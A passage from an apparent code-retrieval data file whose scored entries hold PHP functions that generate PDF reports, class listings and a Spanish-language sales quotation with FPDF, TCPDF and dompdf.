generales\n\t\t$this->pdf->SetFont('Arial','BU',18);\n\t\t$this->pdf->Cell(190,5,$datos['texto_zona'].\", \".$datos['texto_poblacion'],0,0);\n\t\t$this->pdf->Ln(10);\n\t\t\n\t\t// Impresión del contenido según formato\n\t\tif($this->tipo_cartel==1)\n\t\t{\n\t\t\t// Características\n\t\t\t$this->ImprimirCaracteristicasPDF($datos);\n\t\t\t// Impresión de fotos\t\t\n\t\t\t$this->ImprimirFotosPDF($datos);\t\t\n\t\t\t// Observaciones\n\t\t\t$this->ImprimirObservacionesPDF($datos);\n\t\t}\n\t\t\n\t\tif($this->tipo_cartel==2)\n\t\t{\n\t\t\t// Impresión de fotos\t\t\n\t\t\t$this->ImprimirFotosPDF($datos);\n\t\t\t// Características\n\t\t\t$this->ImprimirCaracteristicasPDF($datos);\t\t\n\t\t\t// Observaciones\n\t\t\t$this->ImprimirObservacionesPDF($datos);\n\t\t}\n\t\t\n\t\tif($this->tipo_cartel==3)\n\t\t{\n\t\t\t// Características\n\t\t\t$this->ImprimirCaracteristicasPDF($datos);\t\n\t\t\t// Observaciones\n\t\t\t$this->ImprimirObservacionesPDF($datos);\n\t\t\t// Impresión de fotos\t\t\n\t\t\t$this->ImprimirFotosPDF($datos);\n\t\t}\n\t}", "title": "" }, { "docid": "844b57ddad937579620200eef15f7662", "score": "0.69329035", "text": "public function pdf_preview_petugas(){\n $data['model'] = $this->modelsistem->view();\n $this->load->view('v_pdf_preview_petugas', $data);\n }", "title": "" }, { "docid": "9d3811ef803d8c3ab92dd5561f988f03", "score": "0.6925325", "text": "public function imprimir4(){\n $clase=Clases::all();\n\n // Instanciando un nuevo objeto con las dimensiones\n $pdf=new Fpdf('P','mm','A4');\n\n // Agregar una pagina\n $pdf->AddPage();\n\n // definimos un tipo de letra, estilo, tamaño\n $pdf->SetFont('Arial','B',15);\n \n // \n // definimos parametros de celda\n // Cell(Ancho,alto,valor,borde,x,alineacion,salto de linea)\n // utf8_decode: es para hacentos\n \n $pdf->SetFillColor(75,75,300);\n $pdf->SetDrawColor(50, 150,50);\n $pdf->SetTextColor(2,22,39);\n $pdf->Cell(190,8,utf8_decode('LISTADO DE ClASES'),0,1,'C',True);\n $pdf->Ln(15);\n\n\n $pdf->SetFont('Arial','B',11);\n $pdf->SetFillColor(68,163,243);\n $pdf->Cell(40,8,utf8_decode('NOMBRES'),1,0,'C',true);\n $pdf->SetFillColor(68,163,243);\n $pdf->Cell(40,8,utf8_decode('APELLIDOS'),1,0,'C',true);\n $pdf->SetFillColor(68,163,243);\n $pdf->Cell(30,8,utf8_decode('DIA'),1,0,'C',true);\n $pdf->SetFillColor(68,163,243);\n $pdf->Cell(50,8,utf8_decode('NOMBRE LUGAR'),1,0,'C',true);\n $pdf->SetFillColor(68,163,243);\n $pdf->Cell(35,8,utf8_decode('HORA'),1,1,'C',true);\n \n \n \n $pdf->setFont('Arial','',10);\n foreach ($clase as $clases) \n {\n $pdf->SetFillColor(68,163,243);\n $pdf->Cell(40,8,utf8_decode($clases->id_nombre),1,0,'C');\n $pdf->Cell(40,8,utf8_decode($clases->apellidos),1,0,'C');\n $pdf->Cell(30,8,utf8_decode($clases->dia_clase),1,0,'C');\n $pdf->Cell(50,8,utf8_decode($clases->nombre_lugar),1,0,'C');\n $pdf->Cell(35,8,utf8_decode($clases->hora),1,1,'C');\n \n }\n \n\n\n\n // $pdf->Cell(40,8,utf8_decode(''),'B',0,'C');\n\n // 'Enviar a impresion'\n $pdf->Output();\n exit;\n }", "title": "" }, { "docid": "484b177bd6980cddf258a97d2b63e2c5", "score": "0.6923991", "text": "public function descargar_pdf(){\n $secretarias=Administrador_Secretaria::join('users','admin_secretaria.id_usuario','=','users.id')\n ->where('admin_secretaria.cargo','=','Secretaria')\n ->get();\n\n $pdf=\\PDF::loadView('Pdfs.secretarias',compact('secretarias'));\n\n return $pdf->stream();\n }", "title": "" }, { "docid": "4aaa0a7f068b3d5c12ebad2371a0985b", "score": "0.6916187", "text": "public function getPdf(){\n\t\t\t$data = [];\n\t\t\t$data['page_title'] = 'Proposal';\n\t\t\t$data['proposalid'] = asset('uploads/2018-03/proposal-id.pdf');\n\t\t\t$data['proposalen'] = asset('uploads/2018-03/proposal-en.pdf');\n\t\t\t$this->cbView('proposal',$data);\n\t\t}", "title": "" }, { "docid": "7f9567a91001be6b38d8cfe6325f27ed", "score": "0.6915263", "text": "public function downloadpdf($form=''){\n // we set this to static because this is just example\n $form = 'unique_identifier';\n\n // get all the data from the $table_col[$form]\n $data = [];\n foreach ($this->table_col[$form] as $col_name) {\n $data[$col_name] = json_decode($this->getData($form, $col_name));\n }\n\n // load tcpdf library\n // I use my own extension of the library because I need to use my own header and footer function\n // Please see application/libraries/Mypdf.php to see the detail\n // To see explanation of each function, please see application/libraries/tcpdf.php\n $this->load->library('mypdf');\n // initialize the pdf object\n // the static variable like PDF_PAGE_ORIENTATION etc are defined in application/libraries/config/tcpdf_config.php\n $pdf = new MYPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);\n // set the creator\n $pdf->SetCreator(PDF_CREATOR);\n // set the author\n $pdf->SetAuthor('SID');\n // set the titile\n $pdf->SetTitle(strtoupper(str_replace('_', ' ', $form)));\n\n // set the header\n $pdf->SetHeaderData(PDF_HEADER_LOGO, PDF_HEADER_LOGO_WIDTH, PDF_HEADER_TITLE.' 004', PDF_HEADER_STRING);\n\n // set default monospaced font\n $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);\n\n // set margins\n $pdf->SetMargins(20, 5, 5);\n\n // set auto page breaks\n// $pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);\n\n // set image scale factor\n $pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);\n\n // ---------------------------------------------------------\n $pdf->SetDisplayMode('fullpage', 'SinglePage', 'UseNone');\n\n // set font\n \n // add a A4 page with Potrait orientation\n $pdf->AddPage('P', 'A4');\n //set the page as the active page\n $pdf->setPage(1, true);\n // set the current X and Y coordinate to write the pdf\n $pdf->SetXY(15,40);\n\n // set the title of the table\n $pdf->Cell(0, 10, '> Child Age Distribution', 0, false, 'L', 0, '', 0, false, 'M', 'M');\n // set a new line\n $pdf->Ln();\n\n // this following code basically create a table to pdf page\n $pdf->Cell(20, 6, 'Age', 1, 0, 'L', 0);\n $pdf->Cell(20, 6, 'Count', 1, 0, 'L', 0);\n $pdf->Ln();\n foreach ($data['child_age'] as $value) {\n $pdf->Cell(20, 6, $value->name, 'LR', 0, 'L', 0);\n $pdf->Cell(20, 6, $value->y, 'LR', 0, 'L', 0);\n $pdf->Ln();\n }\n $pdf->Cell(40, 0, '', 'T');\n\n // put image into the pdf page\n $pdf->Image('asset/images/child_age.png', 75, 50, 100, 100, 'PNG', \"\", '', true, 150, '', false, false, 1, false, false, false);\n\n // set new coordnate for the next data\n $pdf->SetXY(15,180);\n $pdf->Cell(0, 10, '> Respondent Relation to Child', 0, false, 'L', 0, '', 0, false, 'M', 'M');\n $pdf->Ln();\n $pdf->Cell(45, 6, 'Relation', 1, 0, 'L', 0);\n $pdf->Cell(20, 6, 'Count', 1, 0, 'L', 0);\n $pdf->Ln();\n foreach ($data['relation_to_child'] as $value) {\n $pdf->Cell(45, 6, $value->name, 'LR', 0, 'L', 0);\n $pdf->Cell(20, 6, $value->y, 'LR', 0, 'L', 0);\n $pdf->Ln();\n }\n $pdf->Cell(65, 0, '', 'T');\n\n $pdf->Image('asset/images/relation_to_child.png', 100, 190, 80, 80, 'PNG', \"\", '', true, 150, '', false, false, 1, false, false, false);\n\n // add new page\n $pdf->AddPage('P', 'A4');\n // set as active\n $pdf->setPage(2, true);\n\n // set the coordnate\n $pdf->SetXY(15,40);\n $pdf->Cell(0, 10, '> Respondent Age Distribution', 0, false, 'L', 0, '', 0, false, 'M', 'M');\n $pdf->Ln();\n\n // this will create a three tables\n $pdf->Cell(20, 6, 'Age', 1, 0, 'L', 0);\n $pdf->Cell(20, 6, 'Count', 1, 0, 'L', 0);\n $pdf->Ln();\n $count = 0;\n foreach ($data['respondent_age'] as $key => $value) {\n $pdf->Cell(20, 6, $value->name, 'LR', 0, 'L', 0);\n $pdf->Cell(20, 6, $value->y, 'LR', 0, 'L', 0);\n $pdf->Ln();\n unset($data['respondent_age'][$key]);\n $count++;\n if($count==17) break;\n }\n $pdf->Cell(40, 0, '', 'T');\n\n //set the margin for next table, so it will sit next to the previous table\n $pdf->SetMargins(70, 5, 5);\n // set the next coordnate\n $pdf->SetXY(20,44);\n $pdf->Ln();\n $pdf->Cell(20, 6, 'Age', 1, 0, 'L', 0);\n $pdf->Cell(20, 6, 'Count', 1, 0, 'L', 0);\n $pdf->Ln();\n $count = 0;\n foreach ($data['respondent_age'] as $key => $value) {\n $pdf->Cell(20, 6, $value->name, 'LR', 0, 'L', 0);\n $pdf->Cell(20, 6, $value->y, 'LR', 0, 'L', 0);\n $pdf->Ln();\n unset($data['respondent_age'][$key]);\n $count++;\n if($count==17) break;\n }\n $pdf->Cell(40, 0, '', 'T');\n\n //set the margin for next table, so it will sit next to the previous table\n $pdf->SetMargins(120, 5, 5);\n // set the next coordnate\n $pdf->SetXY(15,44);\n $pdf->Ln();\n $pdf->Cell(20, 6, 'Age', 1, 0, 'L', 0);\n $pdf->Cell(20, 6, 'Count', 1, 0, 'L', 0);\n $pdf->Ln();\n $count = 0;\n foreach ($data['respondent_age'] as $key => $value) {\n $pdf->Cell(20, 6, $value->name, 'LR', 0, 'L', 0);\n $pdf->Cell(20, 6, $value->y, 'LR', 0, 'L', 0);\n $pdf->Ln();\n unset($data['respondent_age'][$key]);\n $count++;\n if($count==17) break;\n }\n $pdf->Cell(40, 0, '', 'T');\n // revert back the margin to normal\n $pdf->SetMargins(20, 5, 5);\n $pdf->Image('asset/images/respondent_age.png', 15, 170, 180, 100, 'PNG', \"\", '', true, 150, '', false, false, 1, false, false, false);\n\n // set a new page\n $pdf->AddPage('P', 'A4');\n // set as active\n $pdf->setPage(3, true);\n\n $pdf->SetXY(15,40);\n $pdf->Cell(0, 10, '> Respondent Education Distribution', 0, false, 'L', 0, '', 0, false, 'M', 'M');\n $pdf->Ln();\n\n // create the table\n $pdf->Cell(50, 6, 'Education Level', 1, 0, 'L', 0);\n $pdf->Cell(20, 6, 'Count', 1, 0, 'L', 0);\n $pdf->Ln();\n foreach ($data['respondent_education'] as $value) {\n $pdf->Cell(50, 6, $value->name, 'LR', 0, 'L', 0);\n $pdf->Cell(20, 6, $value->y, 'LR', 0, 'L', 0);\n $pdf->Ln();\n }\n $pdf->Cell(70, 0, '', 'T');\n // add the image\n $pdf->Image('asset/images/respondent_education.png', 100, 50, 80, 80, 'PNG', \"\", '', true, 150, '', false, false, 1, false, false, false);\n\n $pdf->SetXY(15,150);\n $pdf->Cell(0, 10, '> Village Distribution', 0, false, 'L', 0, '', 0, false, 'M', 'M');\n $pdf->Ln();\n $pdf->Image('asset/images/village.png', 60, 160, 100, 100, 'PNG', \"\", '', true, 150, '', false, false, 1, false, false, false);\n\n // dont forget to clean output buffer before send the pdf\n ob_end_clean();\n // send the pdf to output\n $pdf->Output($form);\n }", "title": "" }, { "docid": "f58e7dcc872d3c37d59a08ef6297d792", "score": "0.6908044", "text": "public function pedido_pdf($codigo, $flagPdf = 1, $enviarcorreo = false){\n\n /* Datos principales */\n $datos_pedido = $this->ci->pedido_model->obtener_ocompra($codigo);\n $datos_detalle_pedido = $this->ci->pedido_model->obtener_detalle_ocompra($codigo);\n $tipo_oper = $datos_pedido[0]->OCOMC_TipoOperacion;\n $cotizacion = $datos_pedido[0]->COTIP_Codigo;\n $pedido = $datos_pedido[0]->PEDIP_Codigo;\n $serie = $datos_pedido[0]->OCOMC_Serie;\n $numero = $datos_pedido[0]->OCOMC_Numero;\n $descuento100 = $datos_pedido[0]->OCOMC_descuento100;\n $descuento = $datos_pedido[0]->OCOMC_descuento;\n $igv100 = $datos_pedido[0]->OCOMC_igv100;\n $igv = $datos_pedido[0]->OCOMC_igv;\n $cliente = $datos_pedido[0]->CLIP_Codigo;\n $proveedor = $datos_pedido[0]->PROVP_Codigo;\n $centro_costo = $datos_pedido[0]->CENCOSP_Codigo;\n $moneda = $datos_pedido[0]->MONED_Codigo;\n $subtotal = $datos_pedido[0]->OCOMC_subtotal;\n $descuentototal = $datos_pedido[0]->OCOMC_descuento;\n $igvtotal = $datos_pedido[0]->OCOMC_igv;\n $contacto = $datos_pedido[0]->OCOMC_Personal;\n $miPersonal = $datos_pedido[0]->mipersonal;\n\n /*$docCanje = $datos_pedido[0]->CPC_TipoDocumento;\n switch ($docCanje) {\n case 'F':\n $docToCanje = \"FACTURA\";\n break;\n case 'B':\n $docToCanje = \"BOLETA\";\n break;\n case 'N':\n $docToCanje = \"COMPROBANTE\";\n break;\n \n default:\n $docToCanje = \"COMPROBANTE\";\n break;\n }*/\n \n $ordenCompraCliente = $datos_pedido[0]->OCOMC_PersonaAutorizada; // AQUI SE GUARDA EL NUMERO DE ORDEN DE COMPRA DEL CLIENTE EN MONTOYA\n \n $tiempo_entrega = $datos_pedido[0]->OCOMC_Entrega;\n $total = $datos_pedido[0]->OCOMC_total;\n $percepcion = $datos_pedido[0]->OCOMC_percepcion;\n $percepcion100 = $datos_pedido[0]->OCOMC_percepcion100;\n $observacion = $datos_pedido[0]->OCOMC_Observacion;\n $lugar_entrega = $datos_pedido[0]->OCOMC_EnvioDireccion;\n $lugar_factura = $datos_pedido[0]->OCOMC_FactDireccion;\n \n $datosProyecto = $this->ci->proyecto_model->obtener_datosProyecto( $datos_pedido[0]->PROYP_Codigo );\n $proyecto = $datosProyecto[0]->PROYC_Nombre;\n\n $fechaEntrega = ($datos_pedido[0]->OCOMC_FechaEntrega != '') ? mysql_to_human($datos_pedido[0]->OCOMC_FechaEntrega) : '';\n $nFechaEntrega = explode( '/', $fechaEntrega );\n $fecha_entrega = $nFechaEntrega[0].\" de \".ucfirst( strtolower($this->mesesEs($nFechaEntrega[1])) ).\" del \".$nFechaEntrega[2];\n\n $fecha_entrega = ($fechaEntrega != \"\") ? $fecha_entrega : \"\";\n\n $almacen = $datos_pedido[0]->ALMAP_Codigo;\n $formapago = $datos_pedido[0]->FORPAP_Codigo;\n $ctactesoles = $datos_pedido[0]->OCOMC_CtaCteSoles;\n $ctactedolares = $datos_pedido[0]->OCOMC_CtaCteDolares;\n $tdc = $datos_pedido[0]->OCOMP_TDC;\n\n $nombre_almacen = '';\n if ($almacen != '') {\n $datos_almacen = $this->ci->almacen_model->obtener($almacen);\n $nombre_almacen = $datos_almacen[0]->ALMAC_Descripcion;\n }\n $nombre_formapago = '';\n if ($formapago != '') {\n $datos_formapago = $this->ci->formapago_model->obtener($formapago);\n $nombre_formapago = $datos_formapago[0]->FORPAC_Descripcion;\n }\n\n $datos_moneda = $this->ci->moneda_model->obtener($moneda);\n $simbolo_moneda = $datos_moneda[0]->MONED_Simbolo;\n $moneda_nombre = (count($datos_moneda) > 0 ? $datos_moneda[0]->MONED_Descripcion : 'Soles');\n\n $arrfecha = explode(\" \", $datos_pedido[0]->OCOMC_FechaRegistro);\n $nFecha = explode('/', mysql_to_human($arrfecha[0]) );\n $fecha = $nFecha[0].\" de \".ucfirst( strtolower($this->mesesEs($nFecha[1])) ).\" del \".$nFecha[2].\"<br>\".$this->formatHours($arrfecha[1]); // strlower -> todo a minuscula, ucfirst primer caracter a mayuscula\n $flagIngreso = $datos_pedido[0]->OCOMC_FlagIngreso;\n\n $idCliente = \"\";\n if ($tipo_oper == 'C') {\n $datos_proveedor = $this->ci->proveedor_model->obtener($proveedor);\n $nombres = $datos_proveedor->nombre;\n $ruc = $datos_proveedor->ruc;\n $telefono = $datos_proveedor->telefono;\n $direccion = $datos_proveedor->direccion;\n $fax = $datos_proveedor->fax;\n $tipoDocIdentidad = $datos_cliente->tipoDocIdentidad;\n } else {\n $datos_cliente = $this->ci->cliente_model->obtener($cliente);\n $idCliente = $datos_cliente->idCliente;\n $nombres = $datos_cliente->nombre;\n $ruc = $datos_cliente->ruc;\n $telefono = $datos_cliente->telefono;\n $direccion = $datos_cliente->direccion;\n $fax = $datos_cliente->fax;\n $tipoDocIdentidad = $datos_cliente->tipoDocIdentidad;\n }\n\n switch ($tipoDocIdentidad) {\n case '1':\n $tipoID=\"DNI\";\n break;\n case '6':\n $tipoID=\"RUC\";\n break;\n case '0':\n $tipoID=\"ND\";\n break;\n \n default:\n $tipoID=\"ND\";\n break;\n }\n\n $contacto = $this->ci->empresa_model->get_contacto($contacto);\n\n $companiaInfo = $this->ci->compania_model->obtener($datos_pedido[0]->COMPP_Codigo);\n $establecimientoInfo = $this->ci->emprestablecimiento_model->listar( $companiaInfo[0]->EMPRP_Codigo, '', $companiaInfo[0]->COMPP_Codigo );\n $empresaInfo = $this->ci->empresa_model->obtener_datosEmpresa( $establecimientoInfo[0]->EMPRP_Codigo );\n if($tipo_oper==\"V\"){\n $tipoDocumento = \"COTIZACIÓN DE<br>VENTA\";\n $tipoDocumentoF = \"COTIZACION DE VENTA\";\n }else{\n $tipoDocumento = \"COTIZACIÓN DE<br>COMPRA\";\n $tipoDocumentoF = \"COTIZACION DE COMPRA\";\n }\n \n $medidas = \"a4\"; // a4 - carta\n $this->pdf = new pdfCotizacion('P', 'mm', $medidas, true, 'UTF-8', false);\n $this->pdf->SetMargins(7, 50, 10); // Cada 10 es 1cm - Como es hoja estoy tratando las medidad en cm -> Rawil\n $this->pdf->SetTitle($tipoDocumentoF.' '.$serie.'-'.$numero);\n $this->pdf->SetFont('freesans', '', 8);\n if ($flagPdf == 1)\n $this->pdf->setPrintHeader(true);\n else\n $this->pdf->setPrintHeader(false);\n\n $this->pdf->settingHeaderData($empresaInfo[0]->EMPRC_Ruc, $tipoDocumento, $serie, $this->getOrderNumeroSerie($numero) );\n\n $this->pdf->setPrintFooter(false);\n $this->pdf->AddPage();\n $this->pdf->SetAutoPageBreak(true, 1);\n $this->pdf->Footer( $miPersonal );\n\n \n /* Listado de detalles */\n $gravada = 0;\n $exonerado = 0;\n $inafecto = 0;\n $gratuito = 0;\n\n $detaProductos = \"\";\n foreach ($datos_detalle_pedido as $indice => $valor) {\n $nombre_producto = $valor->OCOMDEC_Descripcion .\". \". $valor->OCOMDEC_Observacion;\n $tipo_afectacion = $valor->AFECT_Codigo;\n\n $medidaDetalle = ($valor->UNDMED_Simbolo != \"\") ? $valor->UNDMED_Simbolo : \"ZZ\";\n\n $afectacionInfo = $this->ci->producto_model->tipo_afectacion($tipo_afectacion);\n\n switch ($tipo_afectacion) {\n case 1: # GRAVADA\n $gravada += $valor->OCOMDEC_Subtotal;\n break;\n case 8: # EXONERADO\n $exonerado += $valor->OCOMDEC_Subtotal;\n $nombre_producto = $nombre_producto . \" \" . $afectacionInfo[0]->AFECT_DescripcionSmall; # \" [EXONERADA]\";\n break;\n case 9: # INAFECTO\n $inafecto += $valor->OCOMDEC_Subtotal;\n $nombre_producto = $nombre_producto . \" \" . $afectacionInfo[0]->AFECT_DescripcionSmall; # \" [INAFECTA]\";\n break;\n case 16: # EXPORTACION SE GUARDA COMO INAFECTO\n $inafecto += $valor->OCOMDEC_Subtotal;\n $nombre_producto = $nombre_producto . \" \" . $afectacionInfo[0]->AFECT_DescripcionSmall; # \" [INAFECTA]\";\n break;\n default:\n $nombre_producto = $nombre_producto . \" \" . $afectacionInfo[0]->AFECT_DescripcionSmall; # \" [GRATUITA]\";\n $gratuito += $valor->OCOMDEC_Subtotal;\n break;\n }\n\n $bgcolor = ( $indice % 2 == 0 ) ? \"#FFFFFF\" : \"#F1F1F1\";\n\n $detaProductos = $detaProductos. '\n <tr bgcolor=\"'.$bgcolor.'\">\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:center;\">'.$valor->OCOMDEC_Cantidad.'</td>\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:left;\">'.$nombre_producto.'</td>\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:center;\">'.$valor->MARCC_Descripcion.'</td>\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:right;\">'.number_format($valor->OCOMDEC_Pu, 2).'</td>\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:right;\">'.number_format($valor->OCOMDEC_Pu_ConIgv, 2).'</td>\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:right;\">'.number_format($valor->OCOMDEC_Total, 2).'</td>\n </tr>';\n }\n\n $gravada -= ($gravada * $descuento100 / 100);\n $exonerado -= ($exonerado * $descuento100 / 100);\n $inafecto -= ($inafecto * $descuento100 / 100);\n\n $tpCliente = ($tipo_oper == \"V\") ? \"Cliente\" : \"Proveedor\";\n $clienteHTML = '<table style=\"font-size:8pt;\" cellpadding=\"0.1cm\" border=\"0\">\n <tr>\n <td colspan=\"2\" bgcolor=\"#FDFDFD\" style=\"width:auto; font-weight: bold\">Dirigido al '.$tpCliente.'</td>\n </tr>\n <tr>\n <td style=\"width:1.0cm; font-style:italic; font-weight: bold\">'.$tipoID.' :</td>\n <td style=\"width:2.5cm; text-indent:0.1cm;\">'.$ruc.'</td>\n\n <td style=\"width:2.5cm; font-style:italic; font-weight: bold\">Razón Social:</td>\n <td style=\"text-indent:0.1cm; text-align:justification\">'.$nombres.'</td>\n </tr>\n <tr>\n <td style=\"width:1.7cm; font-style:italic; font-weight: bold\">Vendedor:</td>\n <td colspan=\"4\" style=\"text-indent:0cm;\">'.$miPersonal.'</td>\n\n <td>\n <span style=\"font-style:italic; font-weight: bold\">Telefono: &nbsp;&nbsp;</span>'.$datos_pedido[0]->PERSC_Telefono.' / '.$datos_pedido[0]->PERSC_Movil.' \n &nbsp;&nbsp;\n <span style=\"font-style:italic; font-weight: bold\">Correo: &nbsp;&nbsp;</span>'.$datos_pedido[0]->PERSC_Email.' \n </td>\n </tr>\n \n </table><table style=\"font-size:8pt;\" border=\"0\">\n <tr>\n <td style=\"width:7cm;\"><table cellpadding=\"0.1cm\" border=\"0\">\n <tr> \n <td style=\"width:2cm; font-style:italic; text-indent:-0.1cm; font-weight: bold\">Contacto:</td>\n <td style=\"text-indent:0.1cm; text-align:justification\">'.$contacto[0]->ECONC_Descripcion.'</td>\n </tr>\n <tr> \n <td style=\"width:2cm; font-style:italic; text-indent:-0.1cm; font-weight: bold\">Teléfono:</td>\n <td style=\"text-indent:0.1cm; text-align:justification\">'.$contacto[0]->ECONC_Movil.' / '.$contacto[0]->ECONC_Telefono.'</td>\n </tr>\n </table>\n </td>\n <td style=\"width:12cm;\"><table cellpadding=\"0.1cm\" border=\"0\">\n <tr>\n <td style=\"text-align:center; font-style:italic; font-weight: bold;\">Fecha de Elaboración:</td>\n <td style=\"text-align:center; font-style:italic; font-weight: bold;\">Fecha de Vencimiento:</td>\n \n </tr>\n <tr>\n <td style=\"font-style:italic; text-align:center;\">'.$fecha.'</td>\n <td style=\"font-style:italic; text-align:center;\">'.$fecha_entrega.'</td>\n \n </tr>\n </table>\n </td>\n </tr>\n </table>';\n\n $this->pdf->writeHTML($clienteHTML,true,false,true,'');\n\n\n $condicionesHTML = '<table border=\"0\" style=\"width:19.5cm; font-size:8pt;\" cellpadding=\"0.1cm\">\n <tr bgcolor=\"#F1F1F1\">\n <td style=\"border-right:1px #000 solid; width:4cm; text-align:center; font-style:italic; font-weight: bold;\">Forma de Pago</td>\n <td style=\"border-right:1px #000 solid; width:4cm; text-align:center; font-style:italic; font-weight: bold;\">Tiempo de Entrega</td>\n <td style=\"width:11.5cm; text-align:center; font-style:italic; font-weight: bold;\">Lugar de Entrega</td>\n \n </tr>\n <tr>\n <td style=\"text-align:center;\">'.$nombre_formapago.'</td>\n <td style=\"text-align:center;\">'.strtoupper($tiempo_entrega).'</td>\n <td style=\"text-align:center;\">'.$lugar_entrega.'</td>\n \n </tr>\n </table>';\n $this->pdf->writeHTML($condicionesHTML,true,false,true,'');\n\n $productoHTML = '\n <table cellpadding=\"0.05cm\" style=\"font-size:8pt;\" border=\"0\">\n <tr bgcolor=\"#F1F1F1\" style=\"font-size:8pt;\">\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:italic; font-weight:bold; text-align:center; width:1.5cm;\">Cantidad</th>\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:italic; font-weight:bold; text-align:center; width:11.0cm;\">Descripción</th>\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:italic; font-weight:bold; text-align:center; width:2.5cm;\">MARCA</th>\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:italic; font-weight:bold; text-align:center; width:1.5cm;\">V/U</th>\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:italic; font-weight:bold; text-align:center; width:1.5cm;\">P/U</th>\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:italic; font-weight:bold; text-align:center; width:1.5cm;\">Total</th>\n </tr>\n '.$detaProductos.'\n </table>';\n $this->pdf->writeHTML($productoHTML,true,false,true,'');\n\n $descuentoHTML = ( $descuento > 0 ) ? '<tr>\n <td style=\"width:3.5cm; text-align:right; font-style:italic;\">Descuento</td>\n <td style=\"width:0.5cm; text-align:right; font-style:italic;\">' . $simbolo_moneda . '</td>\n <td style=\"width:2.0cm; text-align:right;\">'.number_format($descuento, 2).'</td>\n </tr>' : '';\n\n $exoneradoHTML = ( $exonerado > 0 ) ? '<tr>\n <td style=\"width:3.5cm; text-align:right; font-style:italic;\">Exonerado</td>\n <td style=\"width:0.5cm; text-align:right; font-style:italic;\">' . $simbolo_moneda . '</td>\n <td style=\"width:2.0cm; text-align:right;\">'.number_format($exonerado, 2).'</td>\n </tr>' : '';\n\n $inafectoHTML = ( $inafecto > 0 ) ? '<tr>\n <td style=\"width:3.5cm; text-align:right; font-style:italic;\">Inafecto</td>\n <td style=\"width:0.5cm; text-align:right; font-style:italic;\">' . $simbolo_moneda . '</td>\n <td style=\"width:2.0cm; text-align:right;\">'.number_format($inafecto, 2).'</td>\n </tr>' : '';\n\n $gravadaHTML = ( $gravada > 0 ) ? '<tr>\n <td style=\"width:3.5cm; text-align:right; font-style:italic;\">Gravado</td>\n <td style=\"width:0.5cm; text-align:right; font-style:italic;\">' . $simbolo_moneda . '</td>\n <td style=\"width:2.0cm; text-align:right;\">'.number_format($gravada, 2).'</td>\n </tr>' : '';\n\n $igvHTML = ( $igv > 0 ) ? '<tr>\n <td style=\"width:3.5cm; text-align:right; font-style:italic;\">18% IGV</td>\n <td style=\"width:0.5cm; text-align:right; font-style:italic;\">' . $simbolo_moneda . '</td>\n <td style=\"width:2.0cm; text-align:right;\">'.number_format($igv, 2).'</td>\n </tr>' : '';\n\n $gratuitoHTML = ( $gratuito > 0 ) ? '<tr>\n <td style=\"width:3.5cm; text-align:right; font-style:italic;\">Gratuito</td>\n <td style=\"width:0.5cm; text-align:right; font-style:italic;\">' . $simbolo_moneda . '</td>\n <td style=\"width:2.0cm; text-align:right;\">'.number_format($gratuito, 2).'</td>\n </tr>' : '';\n\n $totalesHTML = '\n <table border=\"0\" style=\"font-weight: bold;\">\n <tr>\n <td style=\"width:13cm;\"><table border=\"0\">\n <tr>\n <td><i>Son: </i> '.ucfirst(num2letras(round($total, 2))).' '.ucfirst( strtolower($moneda_nombre) ).'</td>\n </tr>\n </table>\n </td>\n <td style=\"width:6cm;\"><table style=\"font-size:8t;\" cellspacing=\"0.1cm\" border=\"0\">\n '.$gratuitoHTML.'\n '.$descuentoHTML.'\n '.$exoneradoHTML.'\n '.$inafectoHTML.'\n '.$gravadaHTML.'\n '.$igvHTML.'\n <tr>\n <td style=\"width:3.5cm; text-align:right; font-style:italic;\">Total</td>\n <td style=\"width:0.5cm; text-align:right; font-style:italic;\">' . $simbolo_moneda . '</td>\n <td bgcolor=\"#F1F1F1\" style=\"width:2cm; text-align:right;\">'.number_format($total, 2).'</td>\n </tr>\n </table>\n </td>\n </tr>\n </table>';\n\n $this->pdf->writeHTML($totalesHTML,true,false,true,'');\n\n $observacionesHTML = '<table border=\"0\" style=\"width:19.5cm; font-size:8pt;\" cellpadding=\"0.1cm\">\n <tr bgcolor=\"#F1F1F1\">\n <td style=\"text-align:left; font-weight: bold;\">OBSERVACIONES</td>\n </tr>\n \n <tr>\n <td style=\"text-align:left;\">'.$observacion.'</td>\n </tr>\n \n </table>';\n $this->pdf->writeHTML($observacionesHTML,true,false,true,'');\n\n $nameFile = $tipoDocumentoF.\" - \".$this->getOrderNumeroSerie($serie).\"-\".$this->getOrderNumeroSerie($numero).\" \".$fecha.\" \".$nombres.\".pdf\";\n\n if ($enviarcorreo == false)\n 